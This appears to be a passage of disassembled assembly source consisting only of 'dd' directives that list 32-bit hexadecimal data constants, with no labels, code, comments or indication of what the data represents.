		dd 68C57CEFh, 0FCE082Eh, 2AFE310Ch, 510B77Ch, 4A1A96CAh
		dd 4110041Fh, 0FC23C35Ch, 423F078Fh, 22D6CB9Ah,	5110255h
		dd 0E1A00FA8h, 774C2EA5h, 0F4C760C9h, 0F5054F28h, 0D634FCAFh
		dd 3E31DD20h, 0B04C4F20h, 0F9B58824h, 0E15D95D0h, 0C0030902h
		dd 91525801h, 9754A637h, 320A7EFFh, 0EAAFC61Fh,	96637514h
		dd 23D13E5Fh, 852BD0E9h, 5AB6BEA1h, 685C8C5Ah, 0B26A5A2Dh
		dd 0A80877B6h, 0B42D819Fh, 3E3BFA27h, 7040784h,	0BBD7BEE9h
		dd 70C4F4A9h, 0F20E9D0h, 0BA78B537h, 2D3D8849h,	5A86995Bh
		dd 6828BF2Bh, 0D805541Fh, 4A8AB0DBh, 0C45CA8D0h, 0AC12C554h
		dd 835212B2h, 0A0FF000Ah, 4420F205h, 803DD0ABh,	3F084E2Fh
		dd 1CB993E9h, 277644Fh,	2A307317h, 5F25E25Ch, 50C054CCh
		dd 0DA6D67BDh, 0E5810241h, 54D7602Dh, 6FE4F661h, 4B9E10F8h
		dd 47F6A8B0h, 38C27F72h, 0E058265Eh, 49872D07h,	22CF0707h
		dd 35C1FE50h, 1F141C7h,	88C13E13h, 0BA009CA9h, 0B33E5D5Eh
		dd 3BDA3E38h, 0C4B8CBB1h, 588A1F1h, 0FA4CB0h, 2D4F0D62h
		dd 154357D2h, 910605BDh, 407BCEFCh, 324BFFAEh, 68C240FEh
		dd 40FA0B2Eh, 47FC6CAEh, 0BB605E94h, 0C9D41B9h,	84F0E971h
		dd 0D1164B40h, 9E0143EBh, 1DBEE0A3h, 2A300B31h,	83540F8h
		dd 208088CFh, 0B6525015h, 0D6F62C44h, 4A183DE1h, 0F22D4A83h
		dd 0FDD1D209h, 80810889h, 0E0F26327h, 2823EA6Ah, 5B960928h
		dd 0E0EE4E96h, 40C219FCh
		dd 4C779220h, 855ACB5Fh, 0F3FF74E5h, 0D0B4E9E9h, 289561B5h
		dd 712C085Dh, 80ED5312h, 0D0315F09h, 625F6444h,	0FE8407E2h
		dd 5444F48Fh, 691D3113h, 0C0510982h, 25F95ABCh,	0B4D03699h
		dd 0CA1A683Ch, 0A1D8AB31h, 23CC6A78h, 66FC47C5h, 0B6204194h
		dd 0B5451C0Fh, 0CE276464h, 0D26B31D7h, 0A4802C02h, 0BC50C44Eh
		dd 0ACCB9F07h, 1E2F296h, 405B53C5h, 61F50173h, 5E080154h
		dd 49613057h, 6807E094h, 77091B87h, 0FE96377Bh,	0DFFA5A52h
		dd 9EF94FEBh, 8D7C75C4h, 0EC6FE0B3h, 646EE6F1h,	6358C6F8h
		dd 0F135C070h, 0B5E11F5Fh, 2B775F8h, 72A1A5Eh, 3F5A9752h
		dd 9959972Fh, 35A57BC1h, 17E4AD3Eh, 1BDC59Ch, 989C31CFh
		dd 0D5F708CDh, 0B920C983h, 0DAE34982h, 0E177320Eh, 5FFC06DFh
		dd 75A2BD23h, 61F4860Fh, 842FCAE8h, 8182B57Fh, 3ECE78E2h
		dd 0DFE2EA88h, 0D7F906F0h, 4A987725h, 119D01E4h, 5AD0081Eh
		dd 0F83D4A6Fh, 89BFD639h, 47AF429Bh, 4834D455h,	13C14A10h
		dd 17AAE97Dh, 0DFF435ABh, 21161C41h, 4BEF9F19h,	606E08A4h
		dd 0A650F197h, 16570203h, 0B5C035F4h, 583B6BDBh, 32EA000Dh
		dd 0E9E1E007h, 91994BBBh, 62B59059h, 5BCB9EBFh,	940667Ah
		dd 6A2F4E64h, 94A996F7h, 6012A0AEh, 0E9083429h,	64B23AB2h
		dd 8B7DE10Bh, 8CC15D0Eh, 0F09283F2h, 5334D38h, 8775C60Ch
		dd 0F0A4874Bh, 7BB0287Ch, 4E271B7h, 0E3352268h,	2DF5100Ch
		dd 80D1F603h, 0EF99F0C1h, 6809F57Fh, 166802AFh,	7D70A654h
		dd 480C2394h, 29A0D4E9h, 0FB7D62F3h, 0F70B8455h, 61D2D089h
		dd 82FEF89Fh, 0A457E66Dh, 0C0135BEDh, 4E0A35BEh, 581F142Fh
		dd 61F9B5E6h, 171755ACh, 8B165D0h, 6DF05DCDh, 1C982E10h
		dd 0D697F231h, 84568E0Fh, 28AFE471h, 819516A5h,	5E5F56A9h
		dd 8CD92889h, 7AC258B3h, 6F79D275h, 6589095Ch, 79B72770h
		dd 0EB5BE4A2h, 0EA5EB69Eh, 0FF28D249h, 3A454F0Bh, 0DAE48040h
		dd 3CDC75F6h, 0C40542CCh, 65E68806h, 0A0921AA5h, 0FE19897Dh
		dd 10FCC9EAh, 1CFE740Dh, 0A362C7Fh, 759D825Fh, 0A8904FECh
		dd 0E2BE94h, 81670A11h,	49599ACEh, 202F28B8h, 17B24677h
		dd 0F31C0668h, 0B4D8129Fh, 0BD53B7B4h, 0C05BEE05h, 1D5FC764h
		dd 7F6BA227h, 4BE96338h, 812BD4BDh, 71AA2735h, 524E3BFBh
		dd 1D52C2F6h, 0FE805D17h, 8479F49Bh, 5102F495h,	4EA16FF1h
		dd 0E05022Bh, 0DAD5CF51h, 0E90880D2h, 0AAF76017h, 3B7E3E0Dh
		dd 447D2862h, 1A86180h,	33E97C84h, 8374FB94h, 831439C3h
		dd 0A9BC108Eh, 53BA02B2h, 5767A122h, 0FE82367Ch, 618A52CCh
		dd 473228A1h, 56BCCE9Eh, 9DA2BE12h, 1FB268C2h, 992596ECh
		dd 91CD66ADh, 0D2568889h, 0A7130425h, 51AFBE40h, 4CC94CA8h
		dd 2341B002h, 423C3462h, 0CAB201E9h, 300AD55Ah,	71871FDh
		dd 0B00C2AAAh, 214B05Bh, 1A03BF57h, 70556916h, 0CA5C9507h
		dd 90EF0165h, 6A8A58ACh, 2E9C0CC1h, 1C703E12h, 21552472h
		dd 0FECA085Dh, 0E4C37A30h, 0F5D92F91h, 566242D6h, 1C57F44h
		dd 0F35BC60Ch, 9D5D55h,	0A7F8EC4Ah, 0F5EC76F2h,	2FBED453h
		dd 5BA861E3h, 12B18B2Bh, 86D9AE40h, 4913E352h, 0F27FB873h
		dd 0C8F31ACEh, 5DA0272Ch, 497E595h, 26C82F69h, 0FB936D1h
		dd 17BC20E6h, 34661F45h, 9B2494C4h, 0F90C6927h,	2E0C6DA1h
		dd 0AEF2FABh, 81421968h, 7C437F92h, 0E9C8BF0Fh,	1B8C1D9Ch
		dd 0FDD3FB25h, 624ADF90h, 5EC990E3h, 0DD11D80h,	455E1FAEh
		dd 3685C185h, 98D5E584h, 796598AFh, 0B78640h, 284EB17Dh
		dd 0B4505BF9h, 179F14Ch, 0E9D4F624h, 443A37A2h,	0BB04F18h
		dd 0ECE70231h, 4BDD092Ch, 0F538D24Ch, 3B7B3489h, 3C4C702Dh
		dd 75F6B832h, 0F87604F1h, 0A8A3E977h, 0DC5A2753h, 30F7CB22h
		dd 127CC3BDh, 0EA3DF77Dh, 5E0D03F0h, 7A0731B3h,	0B5743AFCh
		dd 0D502FA0Bh, 8B776B96h, 589E7CBDh, 6812F9F7h,	13B82B70h
		dd 64C1E2F5h, 8D41988h,	706EF6FAh, 558562BFh, 6897ECE4h
		dd 7E685E7Dh, 6BF3B5C0h, 0C2E77E8Ch, 9007E8C1h,	71D31733h
		dd 4F230DFAh, 0FDA16B1Dh, 0B2B9DE1h, 27745940h,	125155F8h
		dd 0A98DBAE9h, 9CCBDEC0h, 0EFE45ED7h, 14A6300Fh, 804C1A6Eh
		dd 42AE4B5Bh, 6BED81D5h, 30EC1FC1h, 5F0BD91Fh, 0FE0139FBh
		dd 765482B4h, 0A8552D66h, 0E90408CDh, 0F5E46504h, 123213F3h
		dd 0D7D4EA46h, 9376B3FBh, 58CE90C1h, 0C0A7046Eh, 6DDDEE5Bh
		dd 0DFAC3CECh, 3074A7B0h, 5F5E5752h, 0A676A658h, 0C7E925F1h
		dd 5CAD85E1h, 0BD09BB42h, 341736h, 5B305E45h, 9F3EC4Ch
		dd 751D1149h, 70FC5703h, 3E094891h, 0D48FF3F0h,	0B9169B92h
		dd 868BFBE4h, 0AB3680Bh, 1DC80230h, 800C482Dh, 40D135E1h
		dd 0E91912CFh, 4145E510h, 31575DBEh, 482C60EFh,	9B70297h
		dd 0CB0F41F5h, 0F105166Ah, 9A613F6Bh, 0E2324C5Ch, 938B0793h
		dd 0BF2AF47Ah, 0AC30AEDDh, 64261890h, 6E860C7Eh, 5A3E9D27h
		dd 45088359h, 8AF2140Ch, 0B0C8228h, 0AC77561h, 1C71496Ah
		dd 0FAC944DDh, 59540605h, 0D0EDB6AFh, 262C84DEh, 0B074A9ACh
		dd 9CC44BC0h, 8E096869h, 0FC38B565h, 3CDD5967h,	995226ACh
		dd 663B5100h, 205BA40h,	0E9A3B1B2h, 115FAF44h, 19E85346h
		dd 0E808B5C5h, 5E873BBFh, 6D012187h, 5D0802D4h,	0E92E7CC6h
		dd 8880E990h, 2C5A5BDDh, 4FF6F612h, 7D1E39F0h, 0BBBD5457h
		dd 2802CD09h, 0C92EFF72h, 0A2833E60h, 0AEBC09D5h, 70387F1Eh
		dd 889B6F9Dh, 0BE00884Ch, 69C93534h, 30E60981h,	0F51D7Ch
		dd 0B27895D3h, 0E118C04Dh, 876FB959h, 0D3C1DE4Ah, 205A1E0h
		dd 837EFD73h, 2040CDE9h, 25980753h, 0FBE8F40h, 0BA84837h
		dd 0D12B7C4Bh, 0B692BC7Dh, 16E8BD2h, 726284F4h,	7318DD45h
		dd 99143865h, 1CC45558h, 72B0D8E9h, 728035B9h, 0A5015B10h
		dd 6566E4Ch, 4FED79B0h,	1131CCE7h, 48D67717h, 6968FB1h
		dd 0A174EB08h, 54F36680h, 441A286Bh, 0A48309BEh, 0B0E088D9h
		dd 51B7CD21h, 0F8646B72h, 43096103h, 89E9010Ch,	84A5BB58h
		dd 56276A5Bh, 0E18A12E3h, 0AD74F514h, 19B17408h, 7F21E1C8h
		dd 1FB952E4h, 89C4956Eh, 5EB02518h, 42949626h, 0E055CC60h
		dd 0A5D8A033h, 47370013h, 9167F205h, 0C6090922h, 0C56D2DE9h
		dd 0FD5132C5h, 5A1E48F0h, 1B08D1F6h, 0E52B27A1h, 5EC027FDh
		dd 25BEE570h, 513505B1h, 0F372AE68h, 0C1F73D9Ch, 7CEB3687h
		dd 19450778h, 8006C311h, 0DC740D1Ah, 9D94E967h,	4900B089h
		dd 6DDF7EB4h, 4EDEF71Fh, 7B14C48Ah, 299BF642h, 478422BAh
		dd 0D63107A0h, 7DF6B572h, 471D73F1h, 3DBA4A78h,	0F5F93A4Ch
		dd 4C6A9110h, 0E0092FA1h, 3D26B895h, 7C791067h,	0C5F9F6C5h
		dd 0EC215818h, 9BEE92CEh, 36E90C84h, 92836BFh, 5BA82CD8h
		dd 86F66DD7h, 698045E9h, 0EAF85F77h, 0F4CA22B5h, 9D95F96h
		dd 0FFDE15C2h, 0C46F7E51h, 8CBFB58Bh, 0B640315Ch, 0CA810242h
		dd 12CE2F2Dh, 91403D42h, 589828ACh, 0BD0B77F2h,	0FFD001F5h
		dd 0FE254547h, 0B37F07C5h, 8DE7C04Bh, 505EA658h, 25A7D6A0h
		dd 665EBF5Dh, 8DC88269h, 67537416h, 4544C2E8h, 6A01E840h
		dd 411F721Dh, 66F1E1C1h, 0A47A3FDAh, 0B5EE4398h, 10C7BE5Ch
		dd 5927B099h, 74ADD1C7h, 0EC7D2549h, 808D4A6Eh,	0CB285B26h
		dd 0FC58592Fh, 5750E23Ah, 993E9CA2h, 76E477Dh, 911E368h
		dd 0AD36FB57h, 96CB16F7h, 3CB0C2B8h, 3E78B800h,	38717A5Fh
		dd 0A85F87D3h, 0FC2BBDACh
		dd 7B95A401h, 0D38B3CAFh, 6731734Eh, 0C50546F3h, 0ED7AE15Dh
		dd 2099540Dh, 49F603CEh, 0AC35E87Dh, 92B08541h,	0F011D719h
		dd 0B2D1BCAh, 53B3906Ch, 1250A368h, 0F2930D2Eh,	1320787Dh
		dd 0B9F7F07Ah, 46AD0073h, 0E68505Eh, 51EC6141h,	0C772ABBCh
		dd 0FB5F5D75h, 5185898Bh, 75F66B5Eh, 0BA24C764h, 0B7EDCFDh
		dd 0E5D1FFEDh, 5200D7DCh, 0A42A8EBAh, 8056CC41h, 0CC90EBABh
		dd 0B7787295h, 0E9417E51h, 2C80A723h, 0E5198C25h, 3528407Bh
		dd 685B8E2Dh, 0C69500FBh, 0B331DA0h, 17DE013Eh,	0F1CD374Ch
		dd 75E90F01h, 0E6C133Ah, 0D107582Fh, 8BB8B480h,	0B3530B28h
		dd 9901DFC8h, 6E32B450h, 0D91EF6B8h, 5B3EF730h,	0F920119Ch
		dd 7B5E4C68h, 0A4C08B20h, 64324308h, 620EC059h,	2DB59FE3h
		dd 0C570F601h, 729AE909h, 2EE23BA7h, 6BE8F9h, 0FC2DF331h
		dd 84015F0Ah, 8B08140Dh, 0CE45BEE4h, 0A1D1C97Eh, 0E53053D0h
		dd 0C351C0A4h, 589A1AD3h, 83F1D29Fh, 121C7008h,	0BF08CC41h
		dd 2D68712Ch, 0B34505EDh, 3E21E906h, 26853823h,	0FE74EF5Bh
		dd 25F483AAh, 132EF3CDh, 2860B1FAh, 4FDA6852h, 1DA5A74Fh
		dd 0ADEA4EE9h, 0A6AC500h, 6F090654h, 5985FC1Ch,	0F719BAABh
		dd 3AE7EED2h, 6CE1B88Dh, 743F1125h, 0DDDD82E3h,	203B79D7h
		dd 0B3868058h, 6DD1285Bh, 27297F92h, 63EA48DAh,	8765080Bh
		dd 4A312F82h, 99487E55h, 60070606h, 0E131DCDh, 47926DD4h
		dd 17625895h, 0AB88C580h, 1B68F902h, 31EED702h,	0F7A8A262h
		dd 5A1040D0h, 0B0915F2Fh, 0D617ABE8h, 24BC0B6Fh, 0E063E917h
		dd 0A7042D04h, 317EB78Fh, 5C46A9E0h, 0CDEE8ADh,	0F1EF3CEEh
		dd 61917704h, 29D221F6h, 792F864h, 0A87B17BEh, 9F08A22Bh
		dd 66A16C68h, 829C0BC8h, 309FA68h, 0B167C982h, 2E6372D4h
		dd 0ED690E8Dh, 19658812h, 2990BC89h, 9981ED97h,	5F639E13h
		dd 67CEF49Dh, 0EA376B68h, 0AC2B0581h, 0D69575DBh, 0F07025E5h
		dd 98790F20h, 61D9808Fh, 0C1CE735Ah, 315E500Ch,	0FEDD404Ch
		dd 7413DC0Ch, 0CEAA3C8Bh, 6B294CB0h, 528E5417h,	0F0340EDAh
		dd 0C0BAD57Ch, 682E9FA6h, 4C3DCD2Dh, 11B765D8h,	3BAB6C2h
		dd 12A1BCAh, 0B0F2B03Fh, 7722817h, 369502E8h, 0D6211AD5h
		dd 50FEC105h, 0E507FD52h, 0B35E2262h, 64B02E2h,	80FB99E0h
		dd 61BDF580h, 827F3F0Fh, 2450415Eh, 4BADE59Dh, 0FFC8D505h
		dd 0DE2FB0F3h, 0DDFC268Bh, 0A9C8290Fh, 58E7FA8Eh, 0E05A7E6h
		dd 0ED050D25h, 1112342Bh, 9496B8BAh, 44A125E1h,	0A2682FA9h
		dd 57AFBF0Fh, 0C797FC33h, 2567805Ah, 758FC9D2h,	0B2206B27h
		dd 0FE5F3AC3h, 0B442A7F8h, 6A20BBFEh, 26CDF648h, 2F13F487h
		dd 24B378C3h, 0BE21D24Ch, 666EB99h, 8BA52F8Dh, 8CC655D6h
		dd 0A182B528h, 0B1801C70h, 2DB49C6Ch, 7F5A725Eh, 322F685Bh
		dd 0DF227780h, 0CED931A9h, 4E7C8189h, 25E6B06Eh, 8DF4388Bh
		dd 4BFDE950h, 0BB3A741Dh, 680A36F9h, 89A72C61h,	0B2B0E373h
		dd 0CCB56E39h, 2843E822h, 0DE42D0h, 146B4AF5h, 63BEBB53h
		dd 514E6600h, 7F72C9B9h, 1E0D9806h, 0E4F34C8Eh,	8DE82F9Fh
		dd 0E25E66E9h, 68FB42AEh, 0A5592EA1h, 0FE49D282h, 1FCA807Ch
		dd 0A156AF0Ah, 0F47F06D9h, 80BD5EE3h, 0A62D5D97h, 5B432D33h
		dd 0FC95DD61h, 0A591B3DBh, 1CB85080h, 352C700Eh, 0EE0B38BAh
		dd 1C8BBC6h, 4B466D5Ch,	7DF648E9h, 0B6DED871h, 0B127121Fh
		dd 9366B989h, 0F5304BFEh, 17BC2D79h, 0B9B6777Dh, 1088EE4Bh
		dd 89A4409Dh, 2D3ECD4Ch, 775F331h, 0D273616Fh, 0A0D60C2Bh
		dd 77560380h, 5BC86866h, 0A565A830h, 0A73DC8FBh, 2FB2BD80h
		dd 58DE4146h, 0A916E302h, 8241C24Ah, 0B4225A8h,	522D4857h
		dd 31FBA454h, 291E4E94h, 0AF80DCDEh, 63A00FD2h,	332EE981h
		dd 0A98C585Dh, 40051082h, 4996EF4Ah, 0EDC097Eh,	0E1803A5Eh
		dd 54A011E4h, 103DCDF8h, 0F720731Dh, 8C871CDDh,	5FE98BA4h
		dd 0A410FCABh, 0E56F2802h, 0D05BE967h, 542C1A56h, 0AC0FB759h
		dd 0C04D8013h, 0FE2F03E4h, 45A502CCh, 2D6B4CB1h, 945FF377h
		dd 7084FAEDh, 0ED76976Ch, 90EB8350h, 0B2A62E3Ch, 0D488C57h
		dd 91AAC037h, 10E23480h, 0BBB01D5Bh, 4EDEE141h,	0A586DDEBh
		dd 8A065DFh, 0DE848FBFh, 0CFF8215Bh, 2A09414Ch,	0F3550212h
		dd 7BD0A538h, 0E1FDE833h, 2A25FD77h, 0A68E4857h, 59A2E983h
		dd 7CBE1602h, 0D5DA23A4h, 54087BF1h, 62AC329Eh,	49EC760Bh
		dd 0B8A9304h, 0FE39FD5Dh, 52B72ABBh, 3004EE4Fh,	0AC0EE47Bh
		dd 916DD5C5h, 3A59CDC3h, 0D69CAAE3h, 55CBAA93h,	3E63BD07h
		dd 0E909348Ch, 0F7845A9Dh, 200A7DFFh, 7E16FB6Ch, 56426FFFh
		dd 0FA134FE9h, 8ACF2036h, 2E6E3058h, 0C0933ADBh, 0B2204819h
		dd 4E3046F2h, 0C49BB75Eh, 6800177Eh, 7CC3185Ch,	0E91BB0BFh
		dd 56AC901h, 0CC0B4F80h, 297CFE7Fh, 36F9FFAh, 0EE09B63Ch
		dd 5F77467Dh, 5F5F9C3Ch, 33AB6816h, 0F060DFA6h,	28B010E3h
		dd 7CE78104h, 0C4EE9309h, 5C05D27Ch, 675DC0C1h,	0E9FE0D51h
		dd 0BE2E7549h, 0BA807679h, 5EE8579Fh, 86E07E2Dh, 48C4494Fh
		dd 5ED20710h, 0E9C2DDF7h, 0F6558715h, 0BE3C6503h, 0DEBAC112h
		dd 12BF4BF7h, 209B07ECh, 0E9458C4Fh, 54616037h,	0F44389CEh
		dd 80C6606Fh, 0E925C3EFh, 5BAF02EDh, 7059C251h,	0EC294B44h
		dd 7EA804BEh, 0CBAB185Fh, 7FF5037Ch, 0E0BB5969h, 263F5DC6h
		dd 13AC30A6h, 0D8ACEC03h, 91D2F958h, 4174E8Eh, 495D5A95h
		dd 173175CDh, 10F83329h, 987AB476h, 3A70FB17h, 0B7AFB284h
		dd 66142BB4h, 128CE1F7h, 71EF741Ah, 760D134h, 40EB5675h
		dd 733A49B7h, 6A23558h,	7431EB76h, 0C9385AD7h, 48B7BAD2h
		dd 0F4E95704h, 7897B28Bh, 90726B2Dh, 4685110h, 6D01A3Bh
		dd 49EC59h, 2F925084h, 4C7A31BEh, 0DB171857h, 0BE49349Fh
		dd 12907DB4h, 87EE1FEDh, 0ED703B33h, 5F215C0Bh,	660F061Ch
		dd 0D6804D7h, 0EA1AD12Fh, 6FB93101h, 0F7D85215h, 0A38612AFh
		dd 4900FB19h, 4A698DBBh, 47F09F3Ah, 0A62BF9BDh,	0A05E3C8Eh
		dd 0D562967Bh, 464D525Bh, 62ECF127h, 28224E3Eh,	0F8FF52FEh
		dd 7008583Fh, 2D8523E9h, 44B5B74h, 0FE12C646h, 5A71CEE0h
		dd 9A32FBB0h, 1A654D4h,	2D05B9B8h, 7A62E9FDh, 0EB802503h
		dd 0D80650ABh, 0EAC3F0E3h, 0A26F27E9h, 448598FDh, 0BBD1BE41h
		dd 14296FFh, 1208D7BAh,	87993064h, 72A94A16h, 140590AAh
		dd 3369564Eh, 46256012h, 0A406517Eh, 2D1BA9E4h,	20FA1282h
		dd 2BE7CF01h, 0EBE979BCh, 0BA009C6Ch, 5F6C03E2h, 26C0D189h
		dd 0B81209C9h, 0C4FFA310h, 5C2CDB87h, 1F4A0211h, 0C4E0E971h
		dd 0BD334E5Fh, 9652CA51h, 266D90D3h, 4BF6220h, 950B21E9h
		dd 8CA3ABF6h, 1476A6D6h, 22441DFh, 74D85F08h, 72EBDD01h
		dd 0CAD9EBADh, 26E91100h, 0F3C1C07Dh, 6A40253Eh, 0E4A5AC1h
		dd 0FA834FC7h, 3604731Dh, 2DBBCAE0h, 0C170D507h, 0FFF407E2h
		dd 0FD5A1EC2h, 27CA1BE8h, 2150377Eh, 9D1B6D94h,	0A15257EEh
		dd 0F7703517h, 90E74E04h, 2E62C201h, 0D427AB28h, 660C9809h
		dd 2096D01Fh, 5B66C663h, 0EC2E085Eh, 4DDC00FBh,	2957C505h
		dd 382DE919h, 2CA49987h, 7FF9EA01h, 0EE029FF9h,	1418E3D5h
		dd 986F045Eh, 2E6C022Ch, 427C3CC6h, 79F5C3CEh, 11686120h
		dd 0E8D7F43h, 2C3B643Bh, 782C68ECh, 0B5C6201Eh,	5D5376D7h
		dd 5D0ADF70h, 7885F51h,	0B00C7DC7h, 3B8051Bh, 29244009h
		dd 494771F8h, 54E48B7Fh
		dd 0C7D525B1h, 0A75C49D9h, 6402EC25h, 0AA2D49EBh, 55D678A1h
		dd 0E5FE8250h, 0DCB52370h, 0D77270h, 0AE6498C8h, 0D0BE051Ch
		dd 0EE185047h, 40B6F20Bh, 4BE7C057h, 5E90FA08h,	4C28B3F7h
		dd 0B81885FAh, 2EE2515h, 0CCEBCDFDh, 3398A6E6h,	81507B4Ch
		dd 7FBA239Dh, 685AE13Ah, 840F0F0Ah, 78455331h, 0C1D83E24h
		dd 0C1690061h, 2047C742h, 3E7B969Fh, 38EF504Ch,	7750230h
		dd 0DC56E959h, 0E3678112h, 3E09254Dh, 59D00CC8h, 0EE241E65h
		dd 4EA12625h, 0B163939Fh, 53E8C04Ch, 8920B32Dh,	0DA7500BCh
		dd 7D5BD828h, 1E526059h, 0B2B551C4h, 80C5FE1Ch,	82F6D689h
		dd 59F78773h, 845A9209h, 42ACAB3Dh, 0A44EE8E5h,	418F9000h
		dd 2DE903ABh, 7466A8E8h, 6830507Ah, 0B753309Ah,	3EB6B0E5h
		dd 74273DC5h, 4477B209h, 9858FAC1h, 0B5DE20F2h,	81D4C160h
		dd 3FC7B4EBh, 0F513A118h, 2003C91Bh, 320BCD14h,	0B2928FAh
		dd 0A0C3F64Fh, 2EF6940Bh, 14FDC92Dh, 85F254E9h,	2482B764h
		dd 7209D034h, 159D205Ch, 0D14E1AB2h, 61306EB0h,	0F3EB0ADEh
		dd 0CB29F413h, 30C310C8h, 69DDE975h, 0EEC13CC2h, 0D7038906h
		dd 11B011A3h, 0C1F56B3h, 2ED696E7h, 8C0604FEh, 0DE7EEBDh
		dd 256B3811h, 98457FE5h, 59BB5380h, 0C20F525Ch,	0B70F69Ch
		dd 0A0A43AC0h, 0C326DBB2h, 0B7425958h, 0DED80B61h, 5FEF6848h
		dd 0F6B3E332h, 0E87C2755h, 42AF358h, 4B37F85Eh,	8A06B855h
		dd 0C30BE45Bh, 0F276B3D2h, 39E088Ah, 799F30BFh,	4DC90C04h
		dd 0A8BA04F1h, 0A00841A3h, 0D6C2140Ch, 0C80E2949h, 252A5A42h
		dd 43F66E7Ah, 6930D927h, 0C75F392Bh, 0B5B2D34h,	3190554Bh
		dd 2828EBB4h, 5EFA15E3h, 6ADF51BAh, 9060C880h, 0D0C30131h
		dd 125E0894h, 0D043EA04h, 135A2EE9h, 0EE04EF93h, 95628D2Dh
		dd 0F862F617h, 0B47DE94h, 5A05FC3Dh, 8615A4BAh,	5198A905h
		dd 0C900AE9h, 975BFC88h, 0E91C0A96h, 0FF2526E1h, 4382EC3Eh
		dd 0A1165456h, 6A61854h, 146A3B2Ah, 186F0BD6h, 627547E7h
		dd 5D08076Eh, 17A2839Ah, 9BA57BFFh, 14D40E68h, 97A8DF12h
		dd 0ECBD74D8h, 5854170Bh, 2DCDF908h, 0D72713D4h, 8FD7200Bh
		dd 59EF411Ah, 913B5866h, 47E2D3Ch, 0ED0F40FEh, 0D185F85h
		dd 0C4A6876h, 0AC2EEBCDh, 0CD29077Dh, 905B6EE9h, 1741EF08h
		dd 0EF10F67Bh, 0C9EE7B24h, 3A09E949h, 0B7BF9C12h, 4BB9C4E3h
		dd 0FCA815D4h, 5B8968CBh, 0A28C2071h, 4C2C525Ah, 0E97BE364h
		dd 70E60A60h, 8D3AE1A9h, 0CF75EC1Fh, 94B7C8B5h,	3165B73Bh
		dd 56A8A7BEh, 0DD5E2D75h, 5F1134C2h, 9E900916h,	2E48EE3Ah
		dd 802720Ch, 0D742E8FFh, 0A0D512E2h, 3B47F627h,	797AC44Fh
		dd 0C47BFC6Bh, 0D414E128h, 0AC966758h, 1D36B395h, 0CCD9210Dh
		dd 0EE378FB4h, 0C203D60Ch, 124BC814h, 0EA30D737h, 68081450h
		dd 0B8A5141Ch, 18A4B98Dh, 280B372Eh, 0CE25605Dh, 4308552Ah
		dd 0C1002608h, 6B0ADC68h, 4A50C2F6h, 0BD82B533h, 7DD1C731h
		dd 4912FC49h, 0A28A44DCh, 1E40441Fh, 97370301h,	59A1AFEh
		dd 0BE810310h, 0C6F50263h, 21333BEAh, 0E6061150h, 1D3137C5h
		dd 70E97C10h, 945797A1h, 0B6FFFC43h, 33B901A8h,	0E978B148h
		dd 1454DA8Ah, 0B2D0D664h, 0F05EF201h, 53955D52h, 58470C15h
		dd 19B45007h, 0D114CD66h, 0F4732053h, 0B45F5480h, 36577A94h
		dd 0BAE913D7h, 5090F760h, 13B68CEAh, 2BA93501h,	1F207539h
		dd 0C1EBC983h, 0A1FD8C89h, 0DB21B284h, 0A57E2DE1h, 1743D49Ch
		dd 0DC012725h, 350720DFh, 0AEEF4EE9h, 53E4815Ch, 815FF210h
		dd 0AAB4C0h, 12614EBAh,	0EA09629Ch, 0DAB91897h,	1360E88Dh
		dd 0FE077A74h, 0E9FEEF80h, 41344F3Ch, 417CAB67h, 0D8C4EC08h
		dd 0F02836C4h, 2E9DBEA2h, 2CD80EF2h, 0E9B8849Eh, 0BA52D529h
		dd 0B5AEFCC5h, 74C06A71h, 50883DF4h, 99DD94E3h,	3BE71E3Ah
		dd 0ECA8F82Dh, 62A127D0h, 6DA6685Dh, 404327BCh,	2CE8BDB3h
		dd 34E5A09h, 8F5871C6h,	401FC85Ch, 0EC15D08h, 8A16827h
		dd 888502Eh, 6A7CE90Bh,	0E68C7056h, 12E82E02h, 96E94C2h
		dd 2278F049h, 0D1295E2Fh, 580B6A30h, 5219F105h,	2D325756h
		dd 34C00747h, 0FC211859h, 9480BBEh, 6DE030EFh, 405FE668h
		dd 20E9B998h, 0BF0420A6h, 0E4BE7837h, 36951880h, 0E3094C86h
		dd 7029AD04h, 418EFD57h, 141CA008h, 129D5D58h, 5CD05584h
		dd 4BA95B3Ah, 9F10BE68h, 39B15F08h, 7CB006FCh, 0F8E44B54h
		dd 88520E2Dh, 4BD14FC2h, 5D3D8D9h, 63B82B8h, 0B49860Eh
		dd 7DA50BB7h, 312D4E16h, 0C6685CF1h, 0C1057CF7h, 0FAC87698h
		dd 5C78482h, 5A78E601h,	4099A398h, 0D30FB9CFh, 454A1475h
		dd 0F4D7355Bh, 0E23BEE6Dh, 590B652Bh, 0CAEB85BFh, 1A6809E8h
		dd 6099746Eh, 7EB55726h, 0C90693B0h, 58285BB9h,	0C0E912AEh
		dd 8975AC5Dh, 6806E09Ch, 0F4639282h, 0BF59920Fh, 0BDA6602h
		dd 7537B202h, 93317904h, 0E060F7CFh, 79A1C164h,	13617D7h
		dd 0E390EECBh, 2D2129BBh, 0EF0734A3h, 9239D83Bh, 0E001CF01h
		dd 71492F43h, 0FF2CADF9h, 4B2B000h, 2CD028A0h, 0D4313EE9h
		dd 0FC6EC0FEh, 80B8A193h, 544C6978h, 81633058h,	0BAD940BEh
		dd 42D4313Ah, 8E400353h, 0D9302D85h, 19180C34h,	0F91C50D5h
		dd 587136Ah, 4116EA39h,	68F968EBh, 0D40E52Eh, 0D75833C2h
		dd 9AB64E66h, 5C65ED62h, 0BC059F2Fh, 3F389B87h,	0E5370A3h
		dd 292524E0h, 0C2E9F4C8h, 8D807532h, 1069E381h,	0E9133F06h
		dd 964CD4C3h, 0BB5B398Dh, 41289322h, 6BD8AE3h, 814AF498h
		dd 119CD5B0h, 87E264EAh, 2FA2D0EEh, 5B9A1FBAh, 4202595Fh
		dd 965D409Fh, 9D2392C8h, 0E905F745h, 24BB1574h,	0EDA50068h
		dd 29CC69E5h, 0AEE9F50Dh, 49D8A360h, 18B5266Dh,	905F126Bh
		dd 6B487567h, 0EF894E14h, 688E27A0h, 4EB1A95Fh,	5B53CEDEh
		dd 4CE9B188h, 0C5801E47h, 45053848h, 25575E95h,	8CE5457Dh
		dd 9C3CFE5Ch, 55A5E916h, 407BC944h, 0A28634BAh,	9ED0D3E7h
		dd 16C3299Dh, 0AC7C0171h, 460CD0AFh, 44924A99h,	5A095D95h
		dd 0EB497B77h, 0BE053485h, 80832E68h, 464CAAE9h, 209D2F4h
		dd 94F25B14h, 81B5A0DFh, 291EB1h, 274AD8B8h, 0AF786A31h
